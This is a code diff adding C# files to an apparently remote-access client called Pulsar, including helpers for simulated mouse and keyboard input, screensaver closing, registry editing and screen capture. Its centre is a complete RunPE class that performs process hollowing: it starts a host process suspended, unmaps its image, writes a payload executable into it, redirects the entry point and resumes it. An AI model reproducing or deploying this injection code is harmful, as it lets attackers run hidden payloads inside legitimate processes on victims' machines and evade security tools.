return (T)s.ReadObject(stream);
}
}
}
+235
View File
@@ -0,0 +1,235 @@
using Pulsar.Client.Utilities;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper
{
public static class NativeMethodsHelper
{
private const int INPUT_MOUSE = 0;
private const int INPUT_KEYBOARD = 1;
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
private const uint MOUSEEVENTF_WHEEL = 0x0800;
private const uint KEYEVENTF_KEYDOWN = 0x0000;
private const uint KEYEVENTF_KEYUP = 0x0002;
public const uint SWP_NOZORDER = 0x0004;
public const uint SWP_NOSIZE = 0x0001;
public const uint SWP_SHOWWINDOW = 0x0040;
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool SetWindowPos(
IntPtr hWnd, IntPtr hWndInsertAfter,
int X, int Y, int cx, int cy, uint uFlags);
public static void SetWindowPosition(IntPtr hWnd, int x, int y, int width, int height)
{
const uint SWP_NOZORDER = 0x0004;
const uint SWP_SHOWWINDOW = 0x0040;
SetWindowPos(hWnd, IntPtr.Zero, x, y, width, height, SWP_NOZORDER | SWP_SHOWWINDOW);
}
public static uint GetLastInputInfoTickCount()
{
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
lastInputInfo.dwTime = 0;
NativeMethods.GetLastInputInfo(ref lastInputInfo);
return lastInputInfo.dwTime;
}
public static void DoMouseLeftClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
/// <summary>
/// Moves a window to the specified screen bounds.
/// </summary>
/// <param name="hWnd">Handle to the window.</param>
/// <param name="bounds">The bounds of the target screen.</param>
public static void MoveWindowToScreen(IntPtr hWnd, Rectangle bounds)
{
if (hWnd == IntPtr.Zero)
{
throw new ArgumentException("Window handle cannot be null.", nameof(hWnd));
}
bool result = NativeMethods.SetWindowPos(hWnd, IntPtr.Zero, bounds.X, bounds.Y, 0, 0, NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_NOSIZE);
if (!result)
{
throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error(), "Failed to move window to the specified screen.");
}
}
public static void DoMouseRightClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoMouseMove(Point p)
{
NativeMethods.SetCursorPos(p.X, p.Y);
}
public static void DoMouseScroll(Point p, bool scrollDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = scrollDown ? -120 : 120,
dwFlags = MOUSEEVENTF_WHEEL,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoKeyPress(byte key, bool keyDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_KEYBOARD,
u = new NativeMethods.InputUnion
{
ki = new NativeMethods.KEYBDINPUT
{
wVk = key,
wScan = 0,
dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
private const int SPI_GETSCREENSAVERRUNNING = 114;
public static bool IsScreensaverActive()
{
var running = IntPtr.Zero;
if (!NativeMethods.SystemParametersInfo(
SPI_GETSCREENSAVERRUNNING,
0,
ref running,
0))
{
// Something went wrong (Marshal.GetLastWin32Error)
}
return running != IntPtr.Zero;
}
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
private const uint DESKTOP_READOBJECTS = 0x0001;
private const int WM_CLOSE = 16;
private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
private const uint SPIF_SENDWININICHANGE = 0x0002;
public static void DisableScreensaver()
{
var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
if (handle != IntPtr.Zero)
{
NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
{
if (NativeMethods.IsWindowVisible(hWnd))
NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
// Continue enumeration even if it fails
return true;
},
IntPtr.Zero);
NativeMethods.CloseDesktop(handle);
}
else
{
NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}
// We need to restart the counter for next screensaver according to
// https://support.microsoft.com/en-us/kb/140723
// (this may not be needed since we simulate mouse click afterwards)
var dummy = IntPtr.Zero;
// Doesn't really matter if this fails
NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* true */, ref dummy, SPIF_SENDWININICHANGE);
}
public static string GetForegroundWindowTitle()
{
StringBuilder sbTitle = new StringBuilder(1024);
NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
return sbTitle.ToString();
}
}
}
+158
View File
@@ -0,0 +1,158 @@
using Microsoft.Win32;
using Pulsar.Client.Extensions;
using Pulsar.Common.Models;
using Pulsar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Pulsar.Client.Helper
{
public static class RegistryKeyHelper
{
private static string DEFAULT_VALUE = String.Empty;
/// <summary>
/// Adds a value to the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value.</param>
/// <param name="value">The value.</param>
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
/// <returns>True on success, else False.</returns>
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
value = "\"" + value + "\"";
key.SetValue(name, value);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Opens a read-only registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <returns></returns>
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
{
try
{
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
}
catch
{
return null;
}
}
/// <summary>
/// Deletes the specified value from the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value to delete.</param>
/// <returns>True on success, else False.</returns>
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
key.DeleteValue(name, true);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Checks if the provided value is the default value
/// </summary>
/// <param name="valueName">The name of the value</param>
/// <returns>True if default value, else False</returns>
public static bool IsDefaultValue(string valueName)
{
return String.IsNullOrEmpty(valueName);
}
/// <summary>
/// Adds the default value to the list of values and returns them as an array.
/// If default value already exists this function will only return the list as an array.
/// </summary>
/// <param name="values">The list with the values for which the default value should be added to</param>
/// <returns>Array with all of the values including the default value</returns>
public static RegValueData[] AddDefaultValue(List<RegValueData> values)
{
if (!values.Any(value => IsDefaultValue(value.Name)))
{
values.Add(GetDefaultValue());
}
return values.ToArray();
}
/// <summary>
/// Gets the default registry values
/// </summary>
/// <returns>A array with the default registry values</returns>
public static RegValueData[] GetDefaultValues()
{
return new[] { GetDefaultValue() };
}
public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
{
var newRegValue = new RegValueData { Name = name, Kind = kind };
if (value == null)
newRegValue.Data = new byte[] { };
else
{
switch (newRegValue.Kind)
{
case RegistryValueKind.Binary:
newRegValue.Data = (byte[])value;
break;
case RegistryValueKind.MultiString:
newRegValue.Data = ByteConverter.GetBytes((string[])value);
break;
case RegistryValueKind.DWord:
newRegValue.Data = ByteConverter.GetBytes((uint)(int)value);
break;
case RegistryValueKind.QWord:
newRegValue.Data = ByteConverter.GetBytes((ulong)(long)value);
break;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
newRegValue.Data = ByteConverter.GetBytes((string)value);
break;
}
}
return newRegValue;
}
private static RegValueData GetDefaultValue()
{
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
}
}
}
+520
View File
@@ -0,0 +1,520 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Helper
{
//Ai lowkey had to help with the 64 vs 32 bit shit I was lost.
public static class RunPE
{
private const uint CONTEXT_FULL = 0x10001F;
private const uint CONTEXT_INTEGER = 0x10002;
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr pBaseAddress);
// For 32-bit compatibility
[DllImport("kernel32.dll", SetLastError = true)]
static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int ZwUnmapViewOfSection(IntPtr process, int baseAddress);
#region Structures
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct ProcessInformation
{
public IntPtr ProcessHandle;
public IntPtr ThreadHandle;
public uint ProcessId;
public uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct M128A
{
public ulong High;
public long Low;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct XSAVE_FORMAT64
{
public ushort ControlWord;
public ushort StatusWord;
public byte TagWord;
public byte Reserved1;
public ushort ErrorOpcode;
public uint ErrorOffset;
public ushort ErrorSelector;
public ushort Reserved2;
public uint DataOffset;
public ushort DataSelector;
public ushort Reserved3;
public uint MxCsr;
public uint MxCsr_Mask;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public M128A[] FloatRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public M128A[] XmmRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
public byte[] Reserved4;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct CONTEXT64
{
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public uint ContextFlags;
public uint MxCsr;
public ushort SegCs;
public ushort SegDs;
public ushort SegEs;
public ushort SegFs;
public ushort SegGs;
public ushort SegSs;
public uint EFlags;
public ulong Dr0;
public ulong Dr1;
public ulong Dr2;
public ulong Dr3;
public ulong Dr6;
public ulong Dr7;
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip;
public XSAVE_FORMAT64 FltSave;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
public M128A[] VectorRegister;
public ulong VectorControl;
public ulong DebugControl;
public ulong LastBranchToRip;
public ulong LastBranchFromRip;
public ulong LastExceptionToRip;
public ulong LastExceptionFromRip;
}
#endregion
public static bool Execute(string hostPath, byte[] payload)
{
ProcessInformation pi = new ProcessInformation();
try
{
Debug.WriteLine($"[RunPE] Starting execution with host: {hostPath}");
Debug.WriteLine($"[RunPE] Payload size: {payload.Length} bytes");
// Validate PE signature
if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z')
{
Debug.WriteLine("[RunPE] Invalid PE file - missing MZ signature");
return false;
}
StartupInformation si = new StartupInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
// CREATE_SUSPENDED | CREATE_NO_WINDOW
Debug.WriteLine("[RunPE] Creating suspended process...");
if (!CreateProcessA(hostPath, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi))
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[RunPE] CreateProcessA failed with error: {error}");
return false;
}
Debug.WriteLine($"[RunPE] Process created successfully. PID: {pi.ProcessId}");
try
{
// Determine if target process is WOW64 (32-bit on 64-bit OS)
bool isTargetWow64 = false;
if (Environment.Is64BitOperatingSystem)
{
IsWow64Process(pi.ProcessHandle, out isTargetWow64);
}
Debug.WriteLine($"[RunPE] Target process is {(isTargetWow64 ? "32-bit (WOW64)" : "64-bit")}");
// Check payload architecture
int fileAddress = BitConverter.ToInt32(payload, 0x3C);
ushort machine = BitConverter.ToUInt16(payload, fileAddress + 4);
bool isPayload64Bit = (machine == 0x8664);
Debug.WriteLine($"[RunPE] Payload architecture: {(isPayload64Bit ? "x64" : "x86")} (Machine: 0x{machine:X})");
// Validate architecture compatibility
if (isPayload64Bit && isTargetWow64)
{
Debug.WriteLine("[RunPE] ERROR: Cannot inject 64-bit payload into 32-bit host!");
return false;
}
if (!isPayload64Bit && !isTargetWow64)
{
Debug.WriteLine("[RunPE] ERROR: Cannot inject 32-bit payload into 64-bit host!");
return false;
}
bool success;
if (isTargetWow64)
{
success = Execute32Bit(pi, payload, fileAddress);
}
else
{
success = Execute64Bit(pi, payload, fileAddress);
}
if (success)
{
Debug.WriteLine("[RunPE] Resuming thread...");
ResumeThread(pi.ThreadHandle);
Debug.WriteLine("[RunPE] Execution successful!");
}
return success;
}
catch (Exception ex)
{
Debug.WriteLine($"[RunPE] Exception during injection: {ex.Message}");
if (pi.ProcessHandle != IntPtr.Zero)
TerminateProcess(pi.ProcessHandle, 1);
return false;
}
finally
{
if (pi.ProcessHandle != IntPtr.Zero)
CloseHandle(pi.ProcessHandle);
if (pi.ThreadHandle != IntPtr.Zero)
CloseHandle(pi.ThreadHandle);
}
}
catch (Exception ex)
{
Debug.WriteLine($"[RunPE] Outer exception: {ex.Message}");
if (pi.ProcessHandle != IntPtr.Zero)
{
TerminateProcess(pi.ProcessHandle, 1);
CloseHandle(pi.ProcessHandle);
}
if (pi.ThreadHandle != IntPtr.Zero)
CloseHandle(pi.ThreadHandle);
return false;
}
}
private static bool Execute32Bit(ProcessInformation pi, byte[] payload, int fileAddress)
{
Debug.WriteLine("[RunPE] Using 32-bit injection method...");
int[] context = new int[0xB3];
context[0] = (int)CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi.ThreadHandle, context))
{
Debug.WriteLine($"[RunPE] Wow64GetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
int ebx = context[0x29];
Debug.WriteLine($"[RunPE] EBX: 0x{ebx:X}");
int readWrite = 0;
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite))
{
Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}");
return false;
}
int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34);
Debug.WriteLine($"[RunPE] Original base: 0x{baseAddress:X}, Target base: 0x{imageBase:X}");
if (imageBase == baseAddress)
{
if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
{
Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed");
return false;
}
}
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40);
if (newImageBase == 0)
{
Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase:X}");
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite))
{
Debug.WriteLine("[RunPE] Failed to write headers");
return false;
}
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
int sectionOffset = fileAddress + 0xF8;
for (int i = 0; i < numberOfSections; i++)
{
int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}");
if (sizeOfRawData > 0 && pointerToRawData > 0)
{
// Bounds check
if (pointerToRawData + sizeOfRawData > payload.Length)
{
Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size");
sizeOfRawData = payload.Length - pointerToRawData;
if (sizeOfRawData <= 0)
{
Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data");
sectionOffset += 0x28;
continue;
}
}
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
{
Debug.WriteLine($"[RunPE] Failed to write section {i}");
return false;
}
Debug.WriteLine($"[RunPE] Section {i} written successfully");
}
sectionOffset += 0x28;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite))
{
Debug.WriteLine("[RunPE] Failed to update PEB");
return false;
}
int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
context[0x2C] = newImageBase + entryPoint;
Debug.WriteLine($"[RunPE] Entry point: 0x{context[0x2C]:X}");
if (!Wow64SetThreadContext(pi.ThreadHandle, context))
{
Debug.WriteLine($"[RunPE] Wow64SetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
return true;
}
private static bool Execute64Bit(ProcessInformation pi, byte[] payload, int fileAddress)
{
Debug.WriteLine("[RunPE] Using 64-bit injection method...");
CONTEXT64 context = new CONTEXT64();
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.ThreadHandle, ref context))
{
Debug.WriteLine($"[RunPE] GetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] RDX: 0x{context.Rdx:X}");
byte[] pebBuffer = new byte[8];
int bytesRead = 0;
if (!ReadProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), pebBuffer, 8, out bytesRead))
{
Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}");
return false;
}
long originalBase = BitConverter.ToInt64(pebBuffer, 0);
long imageBase = BitConverter.ToInt64(payload, fileAddress + 0x30);
Debug.WriteLine($"[RunPE] Original base: 0x{originalBase:X}, Target base: 0x{imageBase:X}");
if (originalBase == imageBase)
{
if (ZwUnmapViewOfSection(pi.ProcessHandle, (IntPtr)originalBase) != 0)
{
Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed");
return false;
}
}
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
IntPtr newImageBase = VirtualAllocEx(pi.ProcessHandle, (IntPtr)imageBase, (uint)sizeOfImage, 0x3000, 0x40);
if (newImageBase == IntPtr.Zero)
{
Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase.ToInt64():X}");
int bytesWritten = 0;
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, out bytesWritten))
{
Debug.WriteLine("[RunPE] Failed to write headers");
return false;
}
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
// PE32+ has a larger optional header (0x108 vs 0xF8 for PE32)
int sectionOffset = fileAddress + 0x108;
for (int i = 0; i < numberOfSections; i++)
{
int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}");
if (sizeOfRawData > 0 && pointerToRawData > 0)
{
// Bounds check
if (pointerToRawData + sizeOfRawData > payload.Length)
{
Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size");
sizeOfRawData = payload.Length - pointerToRawData;
if (sizeOfRawData <= 0)
{
Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data");
sectionOffset += 0x28;
continue;
}
}
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData);
if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)newImageBase + virtualAddress), sectionData, sectionData.Length, out bytesWritten))
{
Debug.WriteLine($"[RunPE] Failed to write section {i}");
return false;
}
Debug.WriteLine($"[RunPE] Section {i} written successfully ({bytesWritten} bytes)");
}
sectionOffset += 0x28;
}
byte[] newImageBaseBytes = BitConverter.GetBytes((long)newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), newImageBaseBytes, 8, out bytesWritten))
{
Debug.WriteLine("[RunPE] Failed to update PEB");
return false;
}
int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
context.Rcx = (ulong)((long)newImageBase + entryPoint);
Debug.WriteLine($"[RunPE] Entry point: 0x{context.Rcx:X}");
if (!SetThreadContext(pi.ThreadHandle, ref context))
{
Debug.WriteLine($"[RunPE] SetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
return true;
}
}
}
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,18 @@
using System;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Exception thrown when an error occurs during desktop duplication operations.
/// </summary>
public class DesktopDuplicationException : Exception
{
public DesktopDuplicationException(string message) : base(message)
{
}
public DesktopDuplicationException(string message, Exception innerException) : base(message, innerException)
{
}
}
}
@@ -0,0 +1,57 @@
using System;
using System.Drawing;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Provides image data, cursor data, and image metadata about the retrieved desktop frame.
/// </summary>
public class DesktopFrame
{
/// <summary>
/// Gets the bitmap representing the last retrieved desktop frame. This image spans the entire bounds of the specified monitor.
/// </summary>
public Bitmap DesktopImage { get; internal set; }
/// <summary>
/// Gets a list of the rectangles of pixels in the desktop image that the operating system moved to another location within the same image.
/// </summary>
/// <remarks>
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
/// </remarks>
public MovedRegion[] MovedRegions { get; internal set; }
/// <summary>
/// Returns the list of non-overlapping rectangles that indicate the areas of the desktop image that the operating system updated since the last retrieved frame.
/// </summary>
/// <remarks>
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
/// </remarks>
public Rectangle[] UpdatedRegions { get; internal set; }
/// <summary>
/// The number of frames that the operating system accumulated in the desktop image surface since the last retrieved frame.
/// </summary>
public int AccumulatedFrames { get; internal set; }
/// <summary>
/// Gets the location of the top-left-hand corner of the cursor. This is not necessarily the same position as the cursor's hot spot, which is the location in the cursor that interacts with other elements on the screen.
/// </summary>
public Point CursorLocation { get; internal set; }
/// <summary>
/// Gets whether the cursor on the last retrieved desktop image was visible.
/// </summary>
public bool CursorVisible { get; internal set; }
/// <summary>
/// Gets whether the desktop image contains protected content that was already blacked out in the desktop image.
/// </summary>
public bool ProtectedContentMaskedOut { get; internal set; }
/// <summary>
/// Gets whether the operating system accumulated updates by coalescing updated regions. If so, the updated regions might contain unmodified pixels.
/// </summary>
public bool RectanglesCoalesced { get; internal set; }
}
}
@@ -0,0 +1,23 @@
using System.Drawing;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Describes the movement of an image rectangle within a desktop frame.
/// </summary>
/// <remarks>
/// Move regions are always non-stretched regions so the source is always the same size as the destination.
/// </remarks>
public struct MovedRegion
{
/// <summary>
/// Gets the location from where the operating system copied the image region.
/// </summary>
public Point Source { get; internal set; }
/// <summary>
/// Gets the target region to where the operating system moved the image region.
/// </summary>
public Rectangle Destination { get; internal set; }
}
}
@@ -0,0 +1,15 @@
using SharpDX.DXGI;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
internal class PointerInfo
{
public byte[] PtrShapeBuffer;
public OutputDuplicatePointerShapeInformation ShapeInfo;
public SharpDX.Point Position;
public bool Visible;
public int BufferSize;
public int WhoUpdatedPositionLast;
public long LastTimeStamp;
}
}
@@ -0,0 +1,149 @@
using Pulsar.Client.Config;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper
{
public static class ScreenHelperCPU
{
private const int SRCCOPY = 0x00CC0020;
private const int CURSOR_SHOWING = 0x00000001;
private static readonly int CursorInfoSize = Marshal.SizeOf(typeof(CURSORINFO));
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
public int X;
public int Y;
}
[StructLayout(LayoutKind.Sequential)]
public struct CURSORINFO
{
public int cbSize;
public int flags;
public IntPtr hCursor;
public POINT ScreenPosition;
}
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetCursorInfo(out CURSORINFO pci);
[DllImport("user32.dll")]
private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
[DllImport("gdi32.dll")]
